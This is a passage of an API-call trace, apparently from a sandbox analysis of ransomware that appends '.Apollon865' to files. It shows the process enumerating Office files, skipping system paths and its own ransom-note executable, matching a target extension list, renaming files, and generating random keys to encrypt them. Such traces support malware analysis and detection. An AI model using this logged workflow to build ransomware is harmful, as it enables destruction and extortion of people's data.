	[0067.733] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2=".") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="..") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="windows") returned -1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="bootmgr") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="temp") returned -1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="pagefile.sys") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="boot") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="ids.txt") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="ntuser.dat") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="perflogs") returned 1
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2="MSBuild") returned 1
	[0067.733] lstrlenW (lpString="PGLBL002.XML") returned 12
	[0067.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML") returned 64
	[0067.733] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL002.XML" | out: lpString1="PGLBL002.XML") returned="PGLBL002.XML"
	[0067.733] lstrlenW (lpString="PGLBL002.XML") returned 12
	[0067.733] lstrlenW (lpString="Apollon865") returned 10
	[0067.733] lstrcmpiW (lpString1="LBL002.XML", lpString2="Apollon865") returned 1
	[0067.733] lstrlenW (lpString=".dll") returned 4
	[0067.733] lstrcmpiW (lpString1="PGLBL002.XML", lpString2=".dll") returned 1
	[0067.734] lstrlenW (lpString=".lnk") returned 4
	[0067.734] lstrcmpiW (lpString1="PGLBL002.XML", lpString2=".lnk") returned 1
	[0067.734] lstrlenW (lpString=".ini") returned 4
	[0067.734] lstrcmpiW (lpString1="PGLBL002.XML", lpString2=".ini") returned 1
	[0067.734] lstrlenW (lpString=".sys") returned 4
	[0067.734] lstrcmpiW (lpString1="PGLBL002.XML", lpString2=".sys") returned 1
	[0067.734] lstrlenW (lpString="PGLBL002.XML") returned 12
	[0067.734] lstrlenW (lpString="bak") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.734] lstrlenW (lpString="ba_") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.734] lstrlenW (lpString="dbb") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.734] lstrlenW (lpString="vmdk") returned 4
	[0067.734] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.734] lstrlenW (lpString="rar") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.734] lstrlenW (lpString="zip") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.734] lstrlenW (lpString="tgz") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.734] lstrlenW (lpString="vbox") returned 4
	[0067.734] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.734] lstrlenW (lpString="vdi") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.734] lstrlenW (lpString="vhd") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.734] lstrlenW (lpString="vhdx") returned 4
	[0067.734] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.734] lstrlenW (lpString="avhd") returned 4
	[0067.734] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.734] lstrlenW (lpString="db") returned 2
	[0067.734] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.734] lstrlenW (lpString="db2") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.734] lstrlenW (lpString="db3") returned 3
	[0067.734] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.735] lstrlenW (lpString="dbf") returned 3
	[0067.735] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.735] lstrlenW (lpString="mdf") returned 3
	[0067.735] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.735] lstrlenW (lpString="mdb") returned 3
	[0067.735] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.735] lstrlenW (lpString="sql") returned 3
	[0067.735] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.735] lstrlenW (lpString="sqlite") returned 6
	[0067.735] lstrcmpiW (lpString1="02.XML", lpString2="sqlite") returned -1
	[0067.735] lstrlenW (lpString="sqlite3") returned 7
	[0067.735] lstrcmpiW (lpString1="002.XML", lpString2="sqlite3") returned -1
	[0067.735] lstrlenW (lpString="sqlitedb") returned 8
	[0067.735] lstrcmpiW (lpString1="L002.XML", lpString2="sqlitedb") returned -1
	[0067.735] lstrlenW (lpString="xml") returned 3
	[0067.735] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.735] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.Apollon865") returned 75
	[0067.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl002.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.736] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1421818) returned 1
	[0067.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.736] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.737] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.737] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.738] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b500, lpName=0x0) returned 0x150
	[0067.739] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b500) returned 0x3390000
	[0067.795] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.795] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.795] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.795] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.795] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.796] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0067.796] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.796] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0067.796] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.796] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0067.809] CloseHandle (hObject=0x150) returned 1
	[0067.809] CloseHandle (hObject=0x15c) returned 1
	[0067.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.815] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2=".") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="..") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="windows") returned -1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="bootmgr") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="temp") returned -1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="pagefile.sys") returned 1
	[0067.815] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="boot") returned 1
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="ids.txt") returned 1
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="ntuser.dat") returned 1
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="perflogs") returned 1
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2="MSBuild") returned 1
	[0067.816] lstrlenW (lpString="PGLBL010.XML") returned 12
	[0067.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML") returned 64
	[0067.816] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL010.XML" | out: lpString1="PGLBL010.XML") returned="PGLBL010.XML"
	[0067.816] lstrlenW (lpString="PGLBL010.XML") returned 12
	[0067.816] lstrlenW (lpString="Apollon865") returned 10
	[0067.816] lstrcmpiW (lpString1="LBL010.XML", lpString2="Apollon865") returned 1
	[0067.816] lstrlenW (lpString=".dll") returned 4
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2=".dll") returned 1
	[0067.816] lstrlenW (lpString=".lnk") returned 4
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2=".lnk") returned 1
	[0067.816] lstrlenW (lpString=".ini") returned 4
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2=".ini") returned 1
	[0067.816] lstrlenW (lpString=".sys") returned 4
	[0067.816] lstrcmpiW (lpString1="PGLBL010.XML", lpString2=".sys") returned 1
	[0067.816] lstrlenW (lpString="PGLBL010.XML") returned 12
	[0067.816] lstrlenW (lpString="bak") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.816] lstrlenW (lpString="ba_") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.816] lstrlenW (lpString="dbb") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.816] lstrlenW (lpString="vmdk") returned 4
	[0067.816] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.816] lstrlenW (lpString="rar") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.816] lstrlenW (lpString="zip") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.816] lstrlenW (lpString="tgz") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.816] lstrlenW (lpString="vbox") returned 4
	[0067.816] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.816] lstrlenW (lpString="vdi") returned 3
	[0067.816] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.817] lstrlenW (lpString="vhd") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.817] lstrlenW (lpString="vhdx") returned 4
	[0067.817] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.817] lstrlenW (lpString="avhd") returned 4
	[0067.817] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.817] lstrlenW (lpString="db") returned 2
	[0067.817] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.817] lstrlenW (lpString="db2") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.817] lstrlenW (lpString="db3") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.817] lstrlenW (lpString="dbf") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.817] lstrlenW (lpString="mdf") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.817] lstrlenW (lpString="mdb") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.817] lstrlenW (lpString="sql") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.817] lstrlenW (lpString="sqlite") returned 6
	[0067.817] lstrcmpiW (lpString1="10.XML", lpString2="sqlite") returned -1
	[0067.817] lstrlenW (lpString="sqlite3") returned 7
	[0067.817] lstrcmpiW (lpString1="010.XML", lpString2="sqlite3") returned -1
	[0067.817] lstrlenW (lpString="sqlitedb") returned 8
	[0067.817] lstrcmpiW (lpString1="L010.XML", lpString2="sqlitedb") returned -1
	[0067.817] lstrlenW (lpString="xml") returned 3
	[0067.817] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.817] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.Apollon865") returned 75
	[0067.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl010.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.819] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=211482) returned 1
	[0067.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.819] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.820] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.820] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.820] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33d20, lpName=0x0) returned 0x150
	[0067.822] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33d20) returned 0x120000
	[0067.832] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0067.833] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.833] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0067.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0067.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.833] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0067.835] CloseHandle (hObject=0x150) returned 1
	[0067.835] CloseHandle (hObject=0x15c) returned 1
	[0067.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.836] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1
	[0067.836] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.836] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="Apollon865.txt.exe") returned 1
	[0067.836] lstrcmpiW (lpString1="PGLBL011.XML", lpString2=".") returned 1
	[0067.836] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="..") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="windows") returned -1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="bootmgr") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="temp") returned -1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="pagefile.sys") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="boot") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="ids.txt") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="ntuser.dat") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="perflogs") returned 1
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2="MSBuild") returned 1
	[0067.837] lstrlenW (lpString="PGLBL011.XML") returned 12
	[0067.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML") returned 64
	[0067.837] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL011.XML" | out: lpString1="PGLBL011.XML") returned="PGLBL011.XML"
	[0067.837] lstrlenW (lpString="PGLBL011.XML") returned 12
	[0067.837] lstrlenW (lpString="Apollon865") returned 10
	[0067.837] lstrcmpiW (lpString1="LBL011.XML", lpString2="Apollon865") returned 1
	[0067.837] lstrlenW (lpString=".dll") returned 4
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2=".dll") returned 1
	[0067.837] lstrlenW (lpString=".lnk") returned 4
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2=".lnk") returned 1
	[0067.837] lstrlenW (lpString=".ini") returned 4
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2=".ini") returned 1
	[0067.837] lstrlenW (lpString=".sys") returned 4
	[0067.837] lstrcmpiW (lpString1="PGLBL011.XML", lpString2=".sys") returned 1
	[0067.837] lstrlenW (lpString="PGLBL011.XML") returned 12
	[0067.837] lstrlenW (lpString="bak") returned 3
	[0067.837] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0067.837] lstrlenW (lpString="ba_") returned 3
	[0067.837] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0067.837] lstrlenW (lpString="dbb") returned 3
	[0067.837] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0067.837] lstrlenW (lpString="vmdk") returned 4
	[0067.837] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0067.837] lstrlenW (lpString="rar") returned 3
	[0067.837] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0067.837] lstrlenW (lpString="zip") returned 3
	[0067.837] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0067.838] lstrlenW (lpString="tgz") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0067.838] lstrlenW (lpString="vbox") returned 4
	[0067.838] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0067.838] lstrlenW (lpString="vdi") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0067.838] lstrlenW (lpString="vhd") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0067.838] lstrlenW (lpString="vhdx") returned 4
	[0067.838] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0067.838] lstrlenW (lpString="avhd") returned 4
	[0067.838] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0067.838] lstrlenW (lpString="db") returned 2
	[0067.838] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.838] lstrlenW (lpString="db2") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.838] lstrlenW (lpString="db3") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.838] lstrlenW (lpString="dbf") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.838] lstrlenW (lpString="mdf") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.838] lstrlenW (lpString="mdb") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.838] lstrlenW (lpString="sql") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.838] lstrlenW (lpString="sqlite") returned 6
	[0067.838] lstrcmpiW (lpString1="11.XML", lpString2="sqlite") returned -1
	[0067.838] lstrlenW (lpString="sqlite3") returned 7
	[0067.838] lstrcmpiW (lpString1="011.XML", lpString2="sqlite3") returned -1
	[0067.838] lstrlenW (lpString="sqlitedb") returned 8
	[0067.838] lstrcmpiW (lpString1="L011.XML", lpString2="sqlitedb") returned -1
	[0067.838] lstrlenW (lpString="xml") returned 3
	[0067.838] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.838] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.Apollon865") returned 75
	[0067.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl011.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.839] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5008) returned 1
	[0067.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.840] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0067.840] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.841] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.841] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1690, lpName=0x0) returned 0x150
